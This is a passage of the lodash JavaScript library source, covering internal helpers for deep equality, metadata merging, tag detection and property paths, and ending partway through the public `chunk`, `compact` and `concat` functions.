} else if ((bitmask == WRAP_PARTIAL_FLAG || bitmask == (WRAP_BIND_FLAG | WRAP_PARTIAL_FLAG)) && !holders.length) {
result = createPartial(func, bitmask, thisArg, partials);
} else {
result = createHybrid.apply(undefined, newData);
}
var setter = data ? baseSetData : setData;
return setWrapToString(setter(result, newData), func, bitmask);
}
/**
* Used by `_.defaults` to customize its `_.assignIn` use to assign properties
* of source objects to the destination object for all destination properties
* that resolve to `undefined`.
*
* @private
* @param {*} objValue The destination value.
* @param {*} srcValue The source value.
* @param {string} key The key of the property to assign.
* @param {Object} object The parent object of `objValue`.
* @returns {*} Returns the value to assign.
*/
function customDefaultsAssignIn(objValue, srcValue, key, object) {
if (objValue === undefined ||
(eq(objValue, objectProto[key]) && !hasOwnProperty.call(object, key))) {
return srcValue;
}
return objValue;
}
/**
* Used by `_.defaultsDeep` to customize its `_.merge` use to merge source
* objects into destination objects that are passed thru.
*
* @private
* @param {*} objValue The destination value.
* @param {*} srcValue The source value.
* @param {string} key The key of the property to merge.
* @param {Object} object The parent object of `objValue`.
* @param {Object} source The parent object of `srcValue`.
* @param {Object} [stack] Tracks traversed source values and their merged
* counterparts.
* @returns {*} Returns the value to assign.
*/
function customDefaultsMerge(objValue, srcValue, key, object, source, stack) {
if (isObject(objValue) && isObject(srcValue)) {
// Recursively merge objects and arrays (susceptible to call stack limits).
stack.set(srcValue, objValue);
baseMerge(objValue, srcValue, undefined, customDefaultsMerge, stack);
stack['delete'](srcValue);
}
return objValue;
}
/**
* Used by `_.omit` to customize its `_.cloneDeep` use to only clone plain
* objects.
*
* @private
* @param {*} value The value to inspect.
* @param {string} key The key of the property to inspect.
* @returns {*} Returns the uncloned value or `undefined` to defer cloning to `_.cloneDeep`.
*/
function customOmitClone(value) {
return isPlainObject(value) ? undefined : value;
}
/**
* A specialized version of `baseIsEqualDeep` for arrays with support for
* partial deep comparisons.
*
* @private
* @param {Array} array The array to compare.
* @param {Array} other The other array to compare.
* @param {number} bitmask The bitmask flags. See `baseIsEqual` for more details.
* @param {Function} customizer The function to customize comparisons.
* @param {Function} equalFunc The function to determine equivalents of values.
* @param {Object} stack Tracks traversed `array` and `other` objects.
* @returns {boolean} Returns `true` if the arrays are equivalent, else `false`.
*/
function equalArrays(array, other, bitmask, customizer, equalFunc, stack) {
var isPartial = bitmask & COMPARE_PARTIAL_FLAG,
arrLength = array.length,
othLength = other.length;
if (arrLength != othLength && !(isPartial && othLength > arrLength)) {
return false;
}
// Check that cyclic values are equal.
var arrStacked = stack.get(array);
var othStacked = stack.get(other);
if (arrStacked && othStacked) {
return arrStacked == other && othStacked == array;
}
var index = -1,
result = true,
seen = (bitmask & COMPARE_UNORDERED_FLAG) ? new SetCache : undefined;
stack.set(array, other);
stack.set(other, array);
// Ignore non-index properties.
while (++index < arrLength) {
var arrValue = array[index],
othValue = other[index];
if (customizer) {
var compared = isPartial
? customizer(othValue, arrValue, index, other, array, stack)
: customizer(arrValue, othValue, index, array, other, stack);
}
if (compared !== undefined) {
if (compared) {
continue;
}
result = false;
break;
}
// Recursively compare arrays (susceptible to call stack limits).
if (seen) {
if (!arraySome(other, function(othValue, othIndex) {
if (!cacheHas(seen, othIndex) &&
(arrValue === othValue || equalFunc(arrValue, othValue, bitmask, customizer, stack))) {
return seen.push(othIndex);
}
})) {
result = false;
break;
}
} else if (!(
arrValue === othValue ||
equalFunc(arrValue, othValue, bitmask, customizer, stack)
)) {
result = false;
break;
}
}
stack['delete'](array);
stack['delete'](other);
return result;
}
/**
* A specialized version of `baseIsEqualDeep` for comparing objects of
* the same `toStringTag`.
*
* **Note:** This function only supports comparing values with tags of
* `Boolean`, `Date`, `Error`, `Number`, `RegExp`, or `String`.
*
* @private
* @param {Object} object The object to compare.
* @param {Object} other The other object to compare.
* @param {string} tag The `toStringTag` of the objects to compare.
* @param {number} bitmask The bitmask flags. See `baseIsEqual` for more details.
* @param {Function} customizer The function to customize comparisons.
* @param {Function} equalFunc The function to determine equivalents of values.
* @param {Object} stack Tracks traversed `object` and `other` objects.
* @returns {boolean} Returns `true` if the objects are equivalent, else `false`.
*/
function equalByTag(object, other, tag, bitmask, customizer, equalFunc, stack) {
switch (tag) {
case dataViewTag:
if ((object.byteLength != other.byteLength) ||
(object.byteOffset != other.byteOffset)) {
return false;
}
object = object.buffer;
other = other.buffer;
case arrayBufferTag:
if ((object.byteLength != other.byteLength) ||
!equalFunc(new Uint8Array(object), new Uint8Array(other))) {
return false;
}
return true;
case boolTag:
case dateTag:
case numberTag:
// Coerce booleans to `1` or `0` and dates to milliseconds.
// Invalid dates are coerced to `NaN`.
return eq(+object, +other);
case errorTag:
return object.name == other.name && object.message == other.message;
case regexpTag:
case stringTag:
// Coerce regexes to strings and treat strings, primitives and objects,
// as equal. See http://www.ecma-international.org/ecma-262/7.0/#sec-regexp.prototype.tostring
// for more details.
return object == (other + '');
case mapTag:
var convert = mapToArray;
case setTag:
var isPartial = bitmask & COMPARE_PARTIAL_FLAG;
convert || (convert = setToArray);
if (object.size != other.size && !isPartial) {
return false;
}
// Assume cyclic values are equal.
var stacked = stack.get(object);
if (stacked) {
return stacked == other;
}
bitmask |= COMPARE_UNORDERED_FLAG;
// Recursively compare objects (susceptible to call stack limits).
stack.set(object, other);
var result = equalArrays(convert(object), convert(other), bitmask, customizer, equalFunc, stack);
stack['delete'](object);
return result;
case symbolTag:
if (symbolValueOf) {
return symbolValueOf.call(object) == symbolValueOf.call(other);
}
}
return false;
}
/**
* A specialized version of `baseIsEqualDeep` for objects with support for
* partial deep comparisons.
*
* @private
* @param {Object} object The object to compare.
* @param {Object} other The other object to compare.
* @param {number} bitmask The bitmask flags. See `baseIsEqual` for more details.
* @param {Function} customizer The function to customize comparisons.
* @param {Function} equalFunc The function to determine equivalents of values.
* @param {Object} stack Tracks traversed `object` and `other` objects.
* @returns {boolean} Returns `true` if the objects are equivalent, else `false`.
*/
function equalObjects(object, other, bitmask, customizer, equalFunc, stack) {
var isPartial = bitmask & COMPARE_PARTIAL_FLAG,
objProps = getAllKeys(object),
objLength = objProps.length,
othProps = getAllKeys(other),
othLength = othProps.length;
if (objLength != othLength && !isPartial) {
return false;
}
var index = objLength;
while (index--) {
var key = objProps[index];
if (!(isPartial ? key in other : hasOwnProperty.call(other, key))) {
return false;
}
}
// Check that cyclic values are equal.
var objStacked = stack.get(object);
var othStacked = stack.get(other);
if (objStacked && othStacked) {
return objStacked == other && othStacked == object;
}
var result = true;
stack.set(object, other);
stack.set(other, object);
var skipCtor = isPartial;
while (++index < objLength) {
key = objProps[index];
var objValue = object[key],
othValue = other[key];
if (customizer) {
var compared = isPartial
? customizer(othValue, objValue, key, other, object, stack)
: customizer(objValue, othValue, key, object, other, stack);
}
// Recursively compare objects (susceptible to call stack limits).
if (!(compared === undefined
? (objValue === othValue || equalFunc(objValue, othValue, bitmask, customizer, stack))
: compared
)) {
result = false;
break;
}
skipCtor || (skipCtor = key == 'constructor');
}
if (result && !skipCtor) {
var objCtor = object.constructor,
othCtor = other.constructor;
// Non `Object` object instances with different constructors are not equal.
if (objCtor != othCtor &&
('constructor' in object && 'constructor' in other) &&
!(typeof objCtor == 'function' && objCtor instanceof objCtor &&
typeof othCtor == 'function' && othCtor instanceof othCtor)) {
result = false;
}
}
stack['delete'](object);
stack['delete'](other);
return result;
}
/**
* A specialized version of `baseRest` which flattens the rest array.
*
* @private
* @param {Function} func The function to apply a rest parameter to.
* @returns {Function} Returns the new function.
*/
function flatRest(func) {
return setToString(overRest(func, undefined, flatten), func + '');
}
/**
* Creates an array of own enumerable property names and symbols of `object`.
*
* @private
* @param {Object} object The object to query.
* @returns {Array} Returns the array of property names and symbols.
*/
function getAllKeys(object) {
return baseGetAllKeys(object, keys, getSymbols);
}
/**
* Creates an array of own and inherited enumerable property names and
* symbols of `object`.
*
* @private
* @param {Object} object The object to query.
* @returns {Array} Returns the array of property names and symbols.
*/
function getAllKeysIn(object) {
return baseGetAllKeys(object, keysIn, getSymbolsIn);
}
/**
* Gets metadata for `func`.
*
* @private
* @param {Function} func The function to query.
* @returns {*} Returns the metadata for `func`.
*/
var getData = !metaMap ? noop : function(func) {
return metaMap.get(func);
};
/**
* Gets the name of `func`.
*
* @private
* @param {Function} func The function to query.
* @returns {string} Returns the function name.
*/
function getFuncName(func) {
var result = (func.name + ''),
array = realNames[result],
length = hasOwnProperty.call(realNames, result) ? array.length : 0;
while (length--) {
var data = array[length],
otherFunc = data.func;
if (otherFunc == null || otherFunc == func) {
return data.name;
}
}
return result;
}
/**
* Gets the argument placeholder value for `func`.
*
* @private
* @param {Function} func The function to inspect.
* @returns {*} Returns the placeholder value.
*/
function getHolder(func) {
var object = hasOwnProperty.call(lodash, 'placeholder') ? lodash : func;
return object.placeholder;
}
/**
* Gets the appropriate "iteratee" function. If `_.iteratee` is customized,
* this function returns the custom method, otherwise it returns `baseIteratee`.
* If arguments are provided, the chosen function is invoked with them and
* its result is returned.
*
* @private
* @param {*} [value] The value to convert to an iteratee.
* @param {number} [arity] The arity of the created iteratee.
* @returns {Function} Returns the chosen function or its result.
*/
function getIteratee() {
var result = lodash.iteratee || iteratee;
result = result === iteratee ? baseIteratee : result;
return arguments.length ? result(arguments[0], arguments[1]) : result;
}
/**
* Gets the data for `map`.
*
* @private
* @param {Object} map The map to query.
* @param {string} key The reference key.
* @returns {*} Returns the map data.
*/
function getMapData(map, key) {
var data = map.__data__;
return isKeyable(key)
? data[typeof key == 'string' ? 'string' : 'hash']
: data.map;
}
/**
* Gets the property names, values, and compare flags of `object`.
*
* @private
* @param {Object} object The object to query.
* @returns {Array} Returns the match data of `object`.
*/
function getMatchData(object) {
var result = keys(object),
length = result.length;
while (length--) {
var key = result[length],
value = object[key];
result[length] = [key, value, isStrictComparable(value)];
}
return result;
}
/**
* Gets the native function at `key` of `object`.
*
* @private
* @param {Object} object The object to query.
* @param {string} key The key of the method to get.
* @returns {*} Returns the function if it's native, else `undefined`.
*/
function getNative(object, key) {
var value = getValue(object, key);
return baseIsNative(value) ? value : undefined;
}
/**
* A specialized version of `baseGetTag` which ignores `Symbol.toStringTag` values.
*
* @private
* @param {*} value The value to query.
* @returns {string} Returns the raw `toStringTag`.
*/
function getRawTag(value) {
var isOwn = hasOwnProperty.call(value, symToStringTag),
tag = value[symToStringTag];
try {
value[symToStringTag] = undefined;
var unmasked = true;
} catch (e) {}
var result = nativeObjectToString.call(value);
if (unmasked) {
if (isOwn) {
value[symToStringTag] = tag;
} else {
delete value[symToStringTag];
}
}
return result;
}
/**
* Creates an array of the own enumerable symbols of `object`.
*
* @private
* @param {Object} object The object to query.
* @returns {Array} Returns the array of symbols.
*/
var getSymbols = !nativeGetSymbols ? stubArray : function(object) {
if (object == null) {
return [];
}
object = Object(object);
return arrayFilter(nativeGetSymbols(object), function(symbol) {
return propertyIsEnumerable.call(object, symbol);
});
};
/**
* Creates an array of the own and inherited enumerable symbols of `object`.
*
* @private
* @param {Object} object The object to query.
* @returns {Array} Returns the array of symbols.
*/
var getSymbolsIn = !nativeGetSymbols ? stubArray : function(object) {
var result = [];
while (object) {
arrayPush(result, getSymbols(object));
object = getPrototype(object);
}
return result;
};
/**
* Gets the `toStringTag` of `value`.
*
* @private
* @param {*} value The value to query.
* @returns {string} Returns the `toStringTag`.
*/
var getTag = baseGetTag;
// Fallback for data views, maps, sets, and weak maps in IE 11 and promises in Node.js < 6.
if ((DataView && getTag(new DataView(new ArrayBuffer(1))) != dataViewTag) ||
(Map && getTag(new Map) != mapTag) ||
(Promise && getTag(Promise.resolve()) != promiseTag) ||
(Set && getTag(new Set) != setTag) ||
(WeakMap && getTag(new WeakMap) != weakMapTag)) {
getTag = function(value) {
var result = baseGetTag(value),
Ctor = result == objectTag ? value.constructor : undefined,
ctorString = Ctor ? toSource(Ctor) : '';
if (ctorString) {
switch (ctorString) {
case dataViewCtorString: return dataViewTag;
case mapCtorString: return mapTag;
case promiseCtorString: return promiseTag;
case setCtorString: return setTag;
case weakMapCtorString: return weakMapTag;
}
}
return result;
};
}
/**
* Gets the view, applying any `transforms` to the `start` and `end` positions.
*
* @private
* @param {number} start The start of the view.
* @param {number} end The end of the view.
* @param {Array} transforms The transformations to apply to the view.
* @returns {Object} Returns an object containing the `start` and `end`
* positions of the view.
*/
function getView(start, end, transforms) {
var index = -1,
length = transforms.length;
while (++index < length) {
var data = transforms[index],
size = data.size;
switch (data.type) {
case 'drop': start += size; break;
case 'dropRight': end -= size; break;
case 'take': end = nativeMin(end, start + size); break;
case 'takeRight': start = nativeMax(start, end - size); break;
}
}
return { 'start': start, 'end': end };
}
/**
* Extracts wrapper details from the `source` body comment.
*
* @private
* @param {string} source The source to inspect.
* @returns {Array} Returns the wrapper details.
*/
function getWrapDetails(source) {
var match = source.match(reWrapDetails);
return match ? match[1].split(reSplitDetails) : [];
}
/**
* Checks if `path` exists on `object`.
*
* @private
* @param {Object} object The object to query.
* @param {Array|string} path The path to check.
* @param {Function} hasFunc The function to check properties.
* @returns {boolean} Returns `true` if `path` exists, else `false`.
*/
function hasPath(object, path, hasFunc) {
path = castPath(path, object);
var index = -1,
length = path.length,
result = false;
while (++index < length) {
var key = toKey(path[index]);
if (!(result = object != null && hasFunc(object, key))) {
break;
}
object = object[key];
}
if (result || ++index != length) {
return result;
}
length = object == null ? 0 : object.length;
return !!length && isLength(length) && isIndex(key, length) &&
(isArray(object) || isArguments(object));
}
/**
* Initializes an array clone.
*
* @private
* @param {Array} array The array to clone.
* @returns {Array} Returns the initialized clone.
*/
function initCloneArray(array) {
var length = array.length,
result = new array.constructor(length);
// Add properties assigned by `RegExp#exec`.
if (length && typeof array[0] == 'string' && hasOwnProperty.call(array, 'index')) {
result.index = array.index;
result.input = array.input;
}
return result;
}
/**
* Initializes an object clone.
*
* @private
* @param {Object} object The object to clone.
* @returns {Object} Returns the initialized clone.
*/
function initCloneObject(object) {
return (typeof object.constructor == 'function' && !isPrototype(object))
? baseCreate(getPrototype(object))
: {};
}
/**
* Initializes an object clone based on its `toStringTag`.
*
* **Note:** This function only supports cloning values with tags of
* `Boolean`, `Date`, `Error`, `Map`, `Number`, `RegExp`, `Set`, or `String`.
*
* @private
* @param {Object} object The object to clone.
* @param {string} tag The `toStringTag` of the object to clone.
* @param {boolean} [isDeep] Specify a deep clone.
* @returns {Object} Returns the initialized clone.
*/
function initCloneByTag(object, tag, isDeep) {
var Ctor = object.constructor;
switch (tag) {
case arrayBufferTag:
return cloneArrayBuffer(object);
case boolTag:
case dateTag:
return new Ctor(+object);
case dataViewTag:
return cloneDataView(object, isDeep);
case float32Tag: case float64Tag:
case int8Tag: case int16Tag: case int32Tag:
case uint8Tag: case uint8ClampedTag: case uint16Tag: case uint32Tag:
return cloneTypedArray(object, isDeep);
case mapTag:
return new Ctor;
case numberTag:
case stringTag:
return new Ctor(object);
case regexpTag:
return cloneRegExp(object);
case setTag:
return new Ctor;
case symbolTag:
return cloneSymbol(object);
}
}
/**
* Inserts wrapper `details` in a comment at the top of the `source` body.
*
* @private
* @param {string} source The source to modify.
* @returns {Array} details The details to insert.
* @returns {string} Returns the modified source.
*/
function insertWrapDetails(source, details) {
var length = details.length;
if (!length) {
return source;
}
var lastIndex = length - 1;
details[lastIndex] = (length > 1 ? '& ' : '') + details[lastIndex];
details = details.join(length > 2 ? ', ' : ' ');
return source.replace(reWrapComment, '{\n/* [wrapped with ' + details + '] */\n');
}
/**
* Checks if `value` is a flattenable `arguments` object or array.
*
* @private
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is flattenable, else `false`.
*/
function isFlattenable(value) {
return isArray(value) || isArguments(value) ||
!!(spreadableSymbol && value && value[spreadableSymbol]);
}
/**
* Checks if `value` is a valid array-like index.
*
* @private
* @param {*} value The value to check.
* @param {number} [length=MAX_SAFE_INTEGER] The upper bounds of a valid index.
* @returns {boolean} Returns `true` if `value` is a valid index, else `false`.
*/
function isIndex(value, length) {
var type = typeof value;
length = length == null ? MAX_SAFE_INTEGER : length;
return !!length &&
(type == 'number' ||
(type != 'symbol' && reIsUint.test(value))) &&
(value > -1 && value % 1 == 0 && value < length);
}
/**
* Checks if the given arguments are from an iteratee call.
*
* @private
* @param {*} value The potential iteratee value argument.
* @param {*} index The potential iteratee index or key argument.
* @param {*} object The potential iteratee object argument.
* @returns {boolean} Returns `true` if the arguments are from an iteratee call,
* else `false`.
*/
function isIterateeCall(value, index, object) {
if (!isObject(object)) {
return false;
}
var type = typeof index;
if (type == 'number'
? (isArrayLike(object) && isIndex(index, object.length))
: (type == 'string' && index in object)
) {
return eq(object[index], value);
}
return false;
}
/**
* Checks if `value` is a property name and not a property path.
*
* @private
* @param {*} value The value to check.
* @param {Object} [object] The object to query keys on.
* @returns {boolean} Returns `true` if `value` is a property name, else `false`.
*/
function isKey(value, object) {
if (isArray(value)) {
return false;
}
var type = typeof value;
if (type == 'number' || type == 'symbol' || type == 'boolean' ||
value == null || isSymbol(value)) {
return true;
}
return reIsPlainProp.test(value) || !reIsDeepProp.test(value) ||
(object != null && value in Object(object));
}
/**
* Checks if `value` is suitable for use as unique object key.
*
* @private
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is suitable, else `false`.
*/
function isKeyable(value) {
var type = typeof value;
return (type == 'string' || type == 'number' || type == 'symbol' || type == 'boolean')
? (value !== '__proto__')
: (value === null);
}
/**
* Checks if `func` has a lazy counterpart.
*
* @private
* @param {Function} func The function to check.
* @returns {boolean} Returns `true` if `func` has a lazy counterpart,
* else `false`.
*/
function isLaziable(func) {
var funcName = getFuncName(func),
other = lodash[funcName];
if (typeof other != 'function' || !(funcName in LazyWrapper.prototype)) {
return false;
}
if (func === other) {
return true;
}
var data = getData(other);
return !!data && func === data[0];
}
/**
* Checks if `func` has its source masked.
*
* @private
* @param {Function} func The function to check.
* @returns {boolean} Returns `true` if `func` is masked, else `false`.
*/
function isMasked(func) {
return !!maskSrcKey && (maskSrcKey in func);
}
/**
* Checks if `func` is capable of being masked.
*
* @private
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `func` is maskable, else `false`.
*/
var isMaskable = coreJsData ? isFunction : stubFalse;
/**
* Checks if `value` is likely a prototype object.
*
* @private
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a prototype, else `false`.
*/
function isPrototype(value) {
var Ctor = value && value.constructor,
proto = (typeof Ctor == 'function' && Ctor.prototype) || objectProto;
return value === proto;
}
/**
* Checks if `value` is suitable for strict equality comparisons, i.e. `===`.
*
* @private
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` if suitable for strict
* equality comparisons, else `false`.
*/
function isStrictComparable(value) {
return value === value && !isObject(value);
}
/**
* A specialized version of `matchesProperty` for source values suitable
* for strict equality comparisons, i.e. `===`.
*
* @private
* @param {string} key The key of the property to get.
* @param {*} srcValue The value to match.
* @returns {Function} Returns the new spec function.
*/
function matchesStrictComparable(key, srcValue) {
return function(object) {
if (object == null) {
return false;
}
return object[key] === srcValue &&
(srcValue !== undefined || (key in Object(object)));
};
}
/**
* A specialized version of `_.memoize` which clears the memoized function's
* cache when it exceeds `MAX_MEMOIZE_SIZE`.
*
* @private
* @param {Function} func The function to have its output memoized.
* @returns {Function} Returns the new memoized function.
*/
function memoizeCapped(func) {
var result = memoize(func, function(key) {
if (cache.size === MAX_MEMOIZE_SIZE) {
cache.clear();
}
return key;
});
var cache = result.cache;
return result;
}
/**
* Merges the function metadata of `source` into `data`.
*
* Merging metadata reduces the number of wrappers used to invoke a function.
* This is possible because methods like `_.bind`, `_.curry`, and `_.partial`
* may be applied regardless of execution order. Methods like `_.ary` and
* `_.rearg` modify function arguments, making the order in which they are
* executed important, preventing the merging of metadata. However, we make
* an exception for a safe combined case where curried functions have `_.ary`
* and or `_.rearg` applied.
*
* @private
* @param {Array} data The destination metadata.
* @param {Array} source The source metadata.
* @returns {Array} Returns `data`.
*/
function mergeData(data, source) {
var bitmask = data[1],
srcBitmask = source[1],
newBitmask = bitmask | srcBitmask,
isCommon = newBitmask < (WRAP_BIND_FLAG | WRAP_BIND_KEY_FLAG | WRAP_ARY_FLAG);
var isCombo =
((srcBitmask == WRAP_ARY_FLAG) && (bitmask == WRAP_CURRY_FLAG)) ||
((srcBitmask == WRAP_ARY_FLAG) && (bitmask == WRAP_REARG_FLAG) && (data[7].length <= source[8])) ||
((srcBitmask == (WRAP_ARY_FLAG | WRAP_REARG_FLAG)) && (source[7].length <= source[8]) && (bitmask == WRAP_CURRY_FLAG));
// Exit early if metadata can't be merged.
if (!(isCommon || isCombo)) {
return data;
}
// Use source `thisArg` if available.
if (srcBitmask & WRAP_BIND_FLAG) {
data[2] = source[2];
// Set when currying a bound function.
newBitmask |= bitmask & WRAP_BIND_FLAG ? 0 : WRAP_CURRY_BOUND_FLAG;
}
// Compose partial arguments.
var value = source[3];
if (value) {
var partials = data[3];
data[3] = partials ? composeArgs(partials, value, source[4]) : value;
data[4] = partials ? replaceHolders(data[3], PLACEHOLDER) : source[4];
}
// Compose partial right arguments.
value = source[5];
if (value) {
partials = data[5];
data[5] = partials ? composeArgsRight(partials, value, source[6]) : value;
data[6] = partials ? replaceHolders(data[5], PLACEHOLDER) : source[6];
}
// Use source `argPos` if available.
value = source[7];
if (value) {
data[7] = value;
}
// Use source `ary` if it's smaller.
if (srcBitmask & WRAP_ARY_FLAG) {
data[8] = data[8] == null ? source[8] : nativeMin(data[8], source[8]);
}
// Use source `arity` if one is not provided.
if (data[9] == null) {
data[9] = source[9];
}
// Use source `func` and merge bitmasks.
data[0] = source[0];
data[1] = newBitmask;
return data;
}
/**
* This function is like
* [`Object.keys`](http://ecma-international.org/ecma-262/7.0/#sec-object.keys)
* except that it includes inherited enumerable properties.
*
* @private
* @param {Object} object The object to query.
* @returns {Array} Returns the array of property names.
*/
function nativeKeysIn(object) {
var result = [];
if (object != null) {
for (var key in Object(object)) {
result.push(key);
}
}
return result;
}
/**
* Converts `value` to a string using `Object.prototype.toString`.
*
* @private
* @param {*} value The value to convert.
* @returns {string} Returns the converted string.
*/
function objectToString(value) {
return nativeObjectToString.call(value);
}
/**
* A specialized version of `baseRest` which transforms the rest array.
*
* @private
* @param {Function} func The function to apply a rest parameter to.
* @param {number} [start=func.length-1] The start position of the rest parameter.
* @param {Function} transform The rest array transform.
* @returns {Function} Returns the new function.
*/
function overRest(func, start, transform) {
start = nativeMax(start === undefined ? (func.length - 1) : start, 0);
return function() {
var args = arguments,
index = -1,
length = nativeMax(args.length - start, 0),
array = Array(length);
while (++index < length) {
array[index] = args[start + index];
}
index = -1;
var otherArgs = Array(start + 1);
while (++index < start) {
otherArgs[index] = args[index];
}
otherArgs[start] = transform(array);
return apply(func, this, otherArgs);
};
}
/**
* Gets the parent value at `path` of `object`.
*
* @private
* @param {Object} object The object to query.
* @param {Array} path The path to get the parent value of.
* @returns {*} Returns the parent value.
*/
function parent(object, path) {
return path.length < 2 ? object : baseGet(object, baseSlice(path, 0, -1));
}
/**
* Reorder `array` according to the specified indexes where the element at
* the first index is assigned as the first element, the element at
* the second index is assigned as the second element, and so on.
*
* @private
* @param {Array} array The array to reorder.
* @param {Array} indexes The arranged array indexes.
* @returns {Array} Returns `array`.
*/
function reorder(array, indexes) {
var arrLength = array.length,
length = nativeMin(indexes.length, arrLength),
oldArray = copyArray(array);
while (length--) {
var index = indexes[length];
array[length] = isIndex(index, arrLength) ? oldArray[index] : undefined;
}
return array;
}
/**
* Gets the value at `key`, unless `key` is "__proto__" or "constructor".
*
* @private
* @param {Object} object The object to query.
* @param {string} key The key of the property to get.
* @returns {*} Returns the property value.
*/
function safeGet(object, key) {
if (key === 'constructor' && typeof object[key] === 'function') {
return;
}
if (key == '__proto__') {
return;
}
return object[key];
}
/**
* Sets metadata for `func`.
*
* **Note:** If this function becomes hot, i.e. is invoked a lot in a short
* period of time, it will trip its breaker and transition to an identity
* function to avoid garbage collection pauses in V8. See
* [V8 issue 2070](https://bugs.chromium.org/p/v8/issues/detail?id=2070)
* for more details.
*
* @private
* @param {Function} func The function to associate metadata with.
* @param {*} data The metadata.
* @returns {Function} Returns `func`.
*/
var setData = shortOut(baseSetData);
/**
* A simple wrapper around the global [`setTimeout`](https://mdn.io/setTimeout).
*
* @private
* @param {Function} func The function to delay.
* @param {number} wait The number of milliseconds to delay invocation.
* @returns {number|Object} Returns the timer id or timeout object.
*/
var setTimeout = ctxSetTimeout || function(func, wait) {
return root.setTimeout(func, wait);
};
/**
* Sets the `toString` method of `func` to return `string`.
*
* @private
* @param {Function} func The function to modify.
* @param {Function} string The `toString` result.
* @returns {Function} Returns `func`.
*/
var setToString = shortOut(baseSetToString);
/**
* Sets the `toString` method of `wrapper` to mimic the source of `reference`
* with wrapper details in a comment at the top of the source body.
*
* @private
* @param {Function} wrapper The function to modify.
* @param {Function} reference The reference function.
* @param {number} bitmask The bitmask flags. See `createWrap` for more details.
* @returns {Function} Returns `wrapper`.
*/
function setWrapToString(wrapper, reference, bitmask) {
var source = (reference + '');
return setToString(wrapper, insertWrapDetails(source, updateWrapDetails(getWrapDetails(source), bitmask)));
}
/**
* Creates a function that'll short out and invoke `identity` instead
* of `func` when it's called `HOT_COUNT` or more times in `HOT_SPAN`
* milliseconds.
*
* @private
* @param {Function} func The function to restrict.
* @returns {Function} Returns the new shortable function.
*/
function shortOut(func) {
var count = 0,
lastCalled = 0;
return function() {
var stamp = nativeNow(),
remaining = HOT_SPAN - (stamp - lastCalled);
lastCalled = stamp;
if (remaining > 0) {
if (++count >= HOT_COUNT) {
return arguments[0];
}
} else {
count = 0;
}
return func.apply(undefined, arguments);
};
}
/**
* A specialized version of `_.shuffle` which mutates and sets the size of `array`.
*
* @private
* @param {Array} array The array to shuffle.
* @param {number} [size=array.length] The size of `array`.
* @returns {Array} Returns `array`.
*/
function shuffleSelf(array, size) {
var index = -1,
length = array.length,
lastIndex = length - 1;
size = size === undefined ? length : size;
while (++index < size) {
var rand = baseRandom(index, lastIndex),
value = array[rand];
array[rand] = array[index];
array[index] = value;
}
array.length = size;
return array;
}
/**
* Converts `string` to a property path array.
*
* @private
* @param {string} string The string to convert.
* @returns {Array} Returns the property path array.
*/
var stringToPath = memoizeCapped(function(string) {
var result = [];
if (string.charCodeAt(0) === 46 /* . */) {
result.push('');
}
string.replace(rePropName, function(match, number, quote, subString) {
result.push(quote ? subString.replace(reEscapeChar, '$1') : (number || match));
});
return result;
});
/**
* Converts `value` to a string key if it's not a string or symbol.
*
* @private
* @param {*} value The value to inspect.
* @returns {string|symbol} Returns the key.
*/
function toKey(value) {
if (typeof value == 'string' || isSymbol(value)) {
return value;
}
var result = (value + '');
return (result == '0' && (1 / value) == -INFINITY) ? '-0' : result;
}
/**
* Converts `func` to its source code.
*
* @private
* @param {Function} func The function to convert.
* @returns {string} Returns the source code.
*/
function toSource(func) {
if (func != null) {
try {
return funcToString.call(func);
} catch (e) {}
try {
return (func + '');
} catch (e) {}
}
return '';
}
/**
* Updates wrapper `details` based on `bitmask` flags.
*
* @private
* @returns {Array} details The details to modify.
* @param {number} bitmask The bitmask flags. See `createWrap` for more details.
* @returns {Array} Returns `details`.
*/
function updateWrapDetails(details, bitmask) {
arrayEach(wrapFlags, function(pair) {
var value = '_.' + pair[0];
if ((bitmask & pair[1]) && !arrayIncludes(details, value)) {
details.push(value);
}
});
return details.sort();
}
/**
* Creates a clone of `wrapper`.
*
* @private
* @param {Object} wrapper The wrapper to clone.
* @returns {Object} Returns the cloned wrapper.
*/
function wrapperClone(wrapper) {
if (wrapper instanceof LazyWrapper) {
return wrapper.clone();
}
var result = new LodashWrapper(wrapper.__wrapped__, wrapper.__chain__);
result.__actions__ = copyArray(wrapper.__actions__);
result.__index__ = wrapper.__index__;
result.__values__ = wrapper.__values__;
return result;
}
/*------------------------------------------------------------------------*/
/**
* Creates an array of elements split into groups the length of `size`.
* If `array` can't be split evenly, the final chunk will be the remaining
* elements.
*
* @static
* @memberOf _
* @since 3.0.0
* @category Array
* @param {Array} array The array to process.
* @param {number} [size=1] The length of each chunk
* @param- {Object} [guard] Enables use as an iteratee for methods like `_.map`.
* @returns {Array} Returns the new array of chunks.
* @example
*
* _.chunk(['a', 'b', 'c', 'd'], 2);
* // => [['a', 'b'], ['c', 'd']]
*
* _.chunk(['a', 'b', 'c', 'd'], 3);
* // => [['a', 'b', 'c'], ['d']]
*/
function chunk(array, size, guard) {
if ((guard ? isIterateeCall(array, size, guard) : size === undefined)) {
size = 1;
} else {
size = nativeMax(toInteger(size), 0);
}
var length = array == null ? 0 : array.length;
if (!length || size < 1) {
return [];
}
var index = 0,
resIndex = 0,
result = Array(nativeCeil(length / size));
while (index < length) {
result[resIndex++] = baseSlice(array, index, (index += size));
}
return result;
}
/**
* Creates an array with all falsey values removed. The values `false`, `null`,
* `0`, `""`, `undefined`, and `NaN` are falsey.
*
* @static
* @memberOf _
* @since 0.1.0
* @category Array
* @param {Array} array The array to compact.
* @returns {Array} Returns the new array of filtered values.
* @example
*
* _.compact([0, 1, false, 2, '', 3]);
* // => [1, 2, 3]
*/
function compact(array) {
var index = -1,
length = array == null ? 0 : array.length,
resIndex = 0,
result = [];
while (++index < length) {
var value = array[index];
if (value) {
result[resIndex++] = value;
}
}
return result;
}
/**
* Creates a new array concatenating `array` with any additional arrays
* and/or values.
*
* @static
* @memberOf _
* @since 4.0.0
* @category Array
* @param {Array} array The array to concatenate.
* @param {...*} [values] The values to concatenate.
* @returns {Array} Returns the new concatenated array.
* @example
*
* var array = [1];
* var other = _.concat(array, 2, [3], [[4]]);
*
* console.log(other);
* // => [1, 2, 3, [4]]
*
* console.log(array);
* // => [1]
*/
function concat() {
var length = arguments.length;
if (!length) {
return [];
}
var args = Array(length - 1),
